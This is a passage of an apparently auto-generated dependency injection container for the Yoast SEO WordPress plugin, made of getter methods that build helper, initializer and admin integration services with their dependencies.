($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Helpers\String_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\String_Helper */ protected function getStringHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\String_Helper'] = new \Yoast\WP\SEO\Helpers\String_Helper(); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Taxonomy_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Taxonomy_Helper */ protected function getTaxonomyHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper'] = new \Yoast\WP\SEO\Helpers\Taxonomy_Helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\String_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\String_Helper'] = new \Yoast\WP\SEO\Helpers\String_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Twitter\Image_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Twitter\Image_Helper */ protected function getImageHelper4Service() { $a = ($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] ?? $this->getImageHelperService()); if (isset($this->services['Yoast\\WP\\SEO\\Helpers\\Twitter\\Image_Helper'])) { return $this->services['Yoast\\WP\\SEO\\Helpers\\Twitter\\Image_Helper']; } return $this->services['Yoast\\WP\\SEO\\Helpers\\Twitter\\Image_Helper'] = new \Yoast\WP\SEO\Helpers\Twitter\Image_Helper($a); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Url_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Url_Helper */ protected function getUrlHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper(); } /** * Gets the public 'Yoast\WP\SEO\Helpers\User_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\User_Helper */ protected function getUserHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper(); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Wincher_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Wincher_Helper */ protected function getWincherHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Wincher_Helper'] = new \Yoast\WP\SEO\Helpers\Wincher_Helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Woocommerce_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Woocommerce_Helper */ protected function getWoocommerceHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Woocommerce_Helper'] = new \Yoast\WP\SEO\Helpers\Woocommerce_Helper(); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Wordpress_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Wordpress_Helper */ protected function getWordpressHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Wordpress_Helper'] = new \Yoast\WP\SEO\Helpers\Wordpress_Helper(); } /** * Gets the public 'Yoast\WP\SEO\Helpers\Wpdb_Helper' shared autowired service. * * @return \Yoast\WP\SEO\Helpers\Wpdb_Helper */ protected function getWpdbHelperService() { return $this->services['Yoast\\WP\\SEO\\Helpers\\Wpdb_Helper'] = new \Yoast\WP\SEO\Helpers\Wpdb_Helper(($this->services['wpdb'] ?? $this->getWpdbService())); } /** * Gets the public 'Yoast\WP\SEO\Initializers\Crawl_Cleanup_Permalinks' shared autowired service. * * @return \Yoast\WP\SEO\Initializers\Crawl_Cleanup_Permalinks */ protected function getCrawlCleanupPermalinksService() { return $this->services['Yoast\\WP\\SEO\\Initializers\\Crawl_Cleanup_Permalinks'] = new \Yoast\WP\SEO\Initializers\Crawl_Cleanup_Permalinks(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] = new \Yoast\WP\SEO\Helpers\Redirect_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Crawl_Cleanup_Helper'] ?? $this->getCrawlCleanupHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Initializers\Disable_Core_Sitemaps' shared autowired service. * * @return \Yoast\WP\SEO\Initializers\Disable_Core_Sitemaps */ protected function getDisableCoreSitemapsService() { return $this->services['Yoast\\WP\\SEO\\Initializers\\Disable_Core_Sitemaps'] = new \Yoast\WP\SEO\Initializers\Disable_Core_Sitemaps(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] = new \Yoast\WP\SEO\Helpers\Redirect_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Initializers\Migration_Runner' shared autowired service. * * @return \Yoast\WP\SEO\Initializers\Migration_Runner */ protected function getMigrationRunnerService() { return $this->services['Yoast\\WP\\SEO\\Initializers\\Migration_Runner'] = new \Yoast\WP\SEO\Initializers\Migration_Runner(($this->services['Yoast\\WP\\SEO\\Config\\Migration_Status'] ?? ($this->services['Yoast\\WP\\SEO\\Config\\Migration_Status'] = new \Yoast\WP\SEO\Config\Migration_Status())), ($this->services['Yoast\\WP\\SEO\\Loader'] ?? $this->getLoaderService()), ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] ?? ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter()))); } /** * Gets the public 'Yoast\WP\SEO\Initializers\Plugin_Headers' shared autowired service. * * @return \Yoast\WP\SEO\Initializers\Plugin_Headers */ protected function getPluginHeadersService() { return $this->services['Yoast\\WP\\SEO\\Initializers\\Plugin_Headers'] = new \Yoast\WP\SEO\Initializers\Plugin_Headers(); } /** * Gets the public 'Yoast\WP\SEO\Initializers\Silence_Load_Textdomain_Just_In_Time_Notices' shared autowired service. * * @return \Yoast\WP\SEO\Initializers\Silence_Load_Textdomain_Just_In_Time_Notices */ protected function getSilenceLoadTextdomainJustInTimeNoticesService() { return $this->services['Yoast\\WP\\SEO\\Initializers\\Silence_Load_Textdomain_Just_In_Time_Notices'] = new \Yoast\WP\SEO\Initializers\Silence_Load_Textdomain_Just_In_Time_Notices(); } /** * Gets the public 'Yoast\WP\SEO\Initializers\Woocommerce' shared autowired service. * * @return \Yoast\WP\SEO\Initializers\Woocommerce */ protected function getWoocommerceService() { return $this->services['Yoast\\WP\\SEO\\Initializers\\Woocommerce'] = new \Yoast\WP\SEO\Initializers\Woocommerce(); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Academy_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Academy_Integration */ protected function getAcademyIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Academy_Integration'] = new \Yoast\WP\SEO\Integrations\Academy_Integration(($this->services['WPSEO_Admin_Asset_Manager'] ?? $this->getWPSEOAdminAssetManagerService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] ?? $this->getCurrentPageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper'] ?? $this->getShortLinkHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Activation_Cleanup_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Admin\Activation_Cleanup_Integration */ protected function getActivationCleanupIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Activation_Cleanup_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Activation_Cleanup_Integration(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Addon_Installation\Dialog_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Admin\Addon_Installation\Dialog_Integration */ protected function getDialogIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Addon_Installation\\Dialog_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Addon_Installation\Dialog_Integration(($this->services['WPSEO_Addon_Manager'] ?? $this->getWPSEOAddonManagerService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Addon_Installation\Installation_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Admin\Addon_Installation\Installation_Integration */ protected function getInstallationIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Addon_Installation\\Installation_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Addon_Installation\Installation_Integration(($this->services['WPSEO_Addon_Manager'] ?? $this->getWPSEOAddonManagerService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Addon_Installation\\Addon_Activate_Action'] ?? $this->getAddonActivateActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Addon_Installation\\Addon_Install_Action'] ?? $this->getAddonInstallActionService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Admin_Columns_Cache_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Admin\Admin_Columns_Cache_Integration */ protected function getAdminColumnsCacheIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Admin_Columns_Cache_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Admin_Columns_Cache_Integration(($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Background_Indexing_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Admin\Background_Indexing_Integration */ protected function getBackgroundIndexingIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Background_Indexing_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Background_Indexing_Integration(($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Indexing_Complete_Action'] ?? $this->getIndexableIndexingCompleteActionService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper'] ?? $this->getIndexingHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()), ($this->services['Yoast\\WP\\SEO\\Conditionals\\Yoast_Admin_And_Dashboard_Conditional'] ?? ($this->services['Yoast\\WP\\SEO\\Conditionals\\Yoast_Admin_And_Dashboard_Conditional'] = new \Yoast\WP\SEO\Conditionals\Yoast_Admin_And_Dashboard_Conditional())), ($this->services['Yoast\\WP\\SEO\\Conditionals\\Get_Request_Conditional'] ?? ($this->services['Yoast\\WP\\SEO\\Conditionals\\Get_Request_Conditional'] = new \Yoast\WP\SEO\Conditionals\Get_Request_Conditional())), ($this->services['Yoast\\WP\\SEO\\Conditionals\\WP_CRON_Enabled_Conditional'] ?? ($this->services['Yoast\\WP\\SEO\\Conditionals\\WP_CRON_Enabled_Conditional'] = new \Yoast\WP\SEO\Conditionals\WP_CRON_Enabled_Conditional())), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_General_Indexation_Action'] ?? $this->getIndexableGeneralIndexationActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Indexation_Action'] ?? $this->getIndexablePostIndexationActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Type_Archive_Indexation_Action'] ?? $this->getIndexablePostTypeArchiveIndexationActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Term_Indexation_Action'] ?? $this->getIndexableTermIndexationActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action'] ?? $this->getPostLinkIndexingActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action'] ?? $this->getTermLinkIndexingActionService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Brand_Insights_Page' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Admin\Brand_Insights_Page */ protected function getBrandInsightsPageService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Brand_Insights_Page'] = new \Yoast\WP\SEO\Integrations\Admin\Brand_Insights_Page(($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Check_Required_Version' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Admin\Check_Required_Version */ protected function getCheckRequiredVersionService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Check_Required_Version'] = new \Yoast\WP\SEO\Integrations\Admin\Check_Required_Version(); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Crawl_Settings_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Admin\Crawl_Settings_Integration */ protected function getCrawlSettingsIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Crawl_Settings_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Crawl_Settings_Integration(($this->services['WPSEO_Admin_Asset_Manager'] ?? $this->getWPSEOAdminAssetManagerService()), ($this->services['WPSEO_Shortlinker'] ?? $this->getWPSEOShortlinkerService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Cron_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Admin\Cron_Integration */ protected function getCronIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Cron_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Cron_Integration(($this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] = new \Yoast\WP\SEO\Helpers\Date_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Deactivated_Premium_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Admin\Deactivated_Premium_Integration */ protected function getDeactivatedPremiumIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Deactivated_Premium_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Deactivated_Premium_Integration(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['WPSEO_Admin_Asset_Manager'] ?? $this->getWPSEOAdminAssetManagerService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Admin\First_Time_Configuration_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Admin\First_Time_Configuration_Integration */ protected function getFirstTimeConfigurationIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\First_Time_Configuration_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\First_Time_Configuration_Integration(($this->services['WPSEO_Admin_Asset_Manager'] ?? $this->getWPSEOAdminAssetManagerService()), ($this->services['WPSEO_Addon_Manager'] ?? $this->getWPSEOAddonManagerService()), ($this->services['WPSEO_Shortlinker'] ?? $this->getWPSEOShortlinkerService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Social_Profiles_Helper'] ?? $this->getSocialProfilesHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper())), ($this->services['Yoast\\WP\\SEO\\Context\\Meta_Tags_Context'] ?? $this->getMetaTagsContextService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Woocommerce_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Woocommerce_Helper'] = new \Yoast\WP\SEO\Helpers\Woocommerce_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Admin\First_Time_Configuration_Notice_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Admin\First_Time_Configuration_Notice_Integration */ protected function getFirstTimeConfigurationNoticeIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\First_Time_Configuration_Notice_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\First_Time_Configuration_Notice_Integration(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\First_Time_Configuration_Notice_Helper'] ?? $this->getFirstTimeConfigurationNoticeHelperService()), ($this->services['WPSEO_Admin_Asset_Manager'] ?? $this->getWPSEOAdminAssetManagerService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Fix_News_Dependencies_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Admin\Fix_News_Dependencies_Integration */ protected function getFixNewsDependenciesIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Fix_News_Dependencies_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Fix_News_Dependencies_Integration(); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Health_Check_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Admin\Health_Check_Integration */ protected function getHealthCheckIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Health_Check_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Health_Check_Integration(new \Yoast\WP\SEO\Llms_Txt\Application\Health_Check\File_Check(($this->privates['Yoast\\WP\\SEO\\Llms_Txt\\Application\\Health_Check\\File_Runner'] ?? ($this->privates['Yoast\\WP\\SEO\\Llms_Txt\\Application\\Health_Check\\File_Runner'] = new \Yoast\WP\SEO\Llms_Txt\Application\Health_Check\File_Runner())), new \Yoast\WP\SEO\Llms_Txt\User_Interface\Health_Check\File_Reports(($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder_Factory'] ?? ($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder_Factory'] = new \Yoast\WP\SEO\Services\Health_Check\Report_Builder_Factory()))), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))), ($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Check'] ?? $this->getDefaultTaglineCheckService()), ($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Links_Table_Check'] ?? $this->getLinksTableCheckService()), ($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Page_Comments_Check'] ?? $this->getPageCommentsCheckService()), ($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Postname_Permalink_Check'] ?? $this->getPostnamePermalinkCheckService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Admin\HelpScout_Beacon' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Admin\HelpScout_Beacon */ protected function getHelpScoutBeaconService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\HelpScout_Beacon'] = new \Yoast\WP\SEO\Integrations\Admin\HelpScout_Beacon(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['WPSEO_Admin_Asset_Manager'] ?? $this->getWPSEOAdminAssetManagerService()), ($this->services['Yoast\\WP\\SEO\\Config\\Migration_Status'] ?? ($this->services['Yoast\\WP\\SEO\\Config\\Migration_Status'] = new \Yoast\WP\SEO\Config\Migration_Status())), ($this->services['WPSEO_Addon_Manager'] ?? $this->getWPSEOAddonManagerService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Import_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Admin\Import_Integration */ protected function getImportIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Import_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Import_Integration(($this->services['WPSEO_Admin_Asset_Manager'] ?? $this->getWPSEOAdminAssetManagerService()), ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Importable_Detector_Service'] ?? $this->getImportableDetectorServiceService()), ($this->services['Yoast\\WP\\SEO\\Routes\\Importing_Route'] ?? $this->getImportingRouteService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Indexables_Exclude_Taxonomy_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Admin\Indexables_Exclude_Taxonomy_Integration */ protected function getIndexablesExcludeTaxonomyIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Indexables_Exclude_Taxonomy_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Indexables_Exclude_Taxonomy_Integration(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Indexing_Notification_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Admin\Indexing_Notification_Integration */ protected function getIndexingNotificationIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Indexing_Notification_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Indexing_Notification_Integration(($this->services['Yoast_Notification_Center'] ?? $this->getYoastNotificationCenterService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] ?? $this->getCurrentPageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper'] ?? $this->getShortLinkHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Notification_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Notification_Helper'] = new \Yoast\WP\SEO\Helpers\Notification_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper'] ?? $this->getIndexingHelperService()), ($this->services['WPSEO_Addon_Manager'] ?? $this->getWPSEOAddonManagerService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Environment_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Environment_Helper'] = new \Yoast\WP\SEO\Helpers\Environment_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Indexing_Tool_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Admin\Indexing_Tool_Integration */ protected function getIndexingToolIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Indexing_Tool_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Indexing_Tool_Integration(($this->services['WPSEO_Admin_Asset_Manager'] ?? $this->getWPSEOAdminAssetManagerService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper'] ?? $this->getShortLinkHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper'] ?? $this->getIndexingHelperService()), ($this->services['WPSEO_Addon_Manager'] ?? $this->getWPSEOAddonManagerService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper())), ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Importable_Detector_Service'] ?? $this->getImportableDetectorServiceService()), ($this->services['Yoast\\WP\\SEO\\Routes\\Importing_Route'] ?? $this->getImportingRouteService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Installation_Success_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Admin\Installation_Success_Integration */ protected function getInstallationSuccessIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Installation_Success_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Installation_Success_Integration(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper'] ?? $this->getShortLinkHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Integrations_Page' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Admin\Integrations_Page */ protected function getIntegrationsPageService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Integrations_Page'] = new \Yoast\WP\SEO\Integrations\Admin\Integrations_Page(($this->services['WPSEO_Admin_Asset_Manager'] ?? $this->getWPSEOAdminAssetManagerService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Elementor_Activated_Conditional'] ?? ($this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Elementor_Activated_Conditional'] = new \Yoast\WP\SEO\Conditionals\Third_Party\Elementor_Activated_Conditional())), ($this->services['Yoast\\WP\\SEO\\Conditionals\\Jetpack_Conditional'] ?? ($this->services['Yoast\\WP\\SEO\\Conditionals\\Jetpack_Conditional'] = new \Yoast\WP\SEO\Conditionals\Jetpack_Conditional())), ($this->privates['Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Integrations\\Site_Kit'] ?? $this->getSiteKitService()), ($this->privates['Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Endpoints\\Site_Kit_Consent_Management_Endpoint'] ?? ($this->privates['Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Endpoints\\Site_Kit_Consent_Management_Endpoint'] = new \Yoast\WP\SEO\Dashboard\Infrastructure\Endpoints\Site_Kit_Consent_Management_Endpoint())), ($this->services['Yoast\\WP\\SEO\\Schema\\Application\\Configuration\\Schema_Configuration'] ?? $this->getSchemaConfigurationService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Link_Count_Columns_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Admin\Link_Count_Columns_Integration */ protected function getLinkCountColumnsIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Link_Count_Columns_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Link_Count_Columns_Integration(($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] ?? $this->getPostTypeHelperService()), ($this->services['wpdb'] ?? $this->getWpdbService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action'] ?? $this->getPostLinkIndexingActionService()), ($this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Admin_Columns_Cache_Integration'] ?? $this->getAdminColumnsCacheIntegrationService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Menu_Badge_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Admin\Menu_Badge_Integration */ protected function getMenuBadgeIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Menu_Badge_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Menu_Badge_Integration(); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Migration_Error_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Admin\Migration_Error_Integration */ protected function getMigrationErrorIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Migration_Error_Integration'] = new 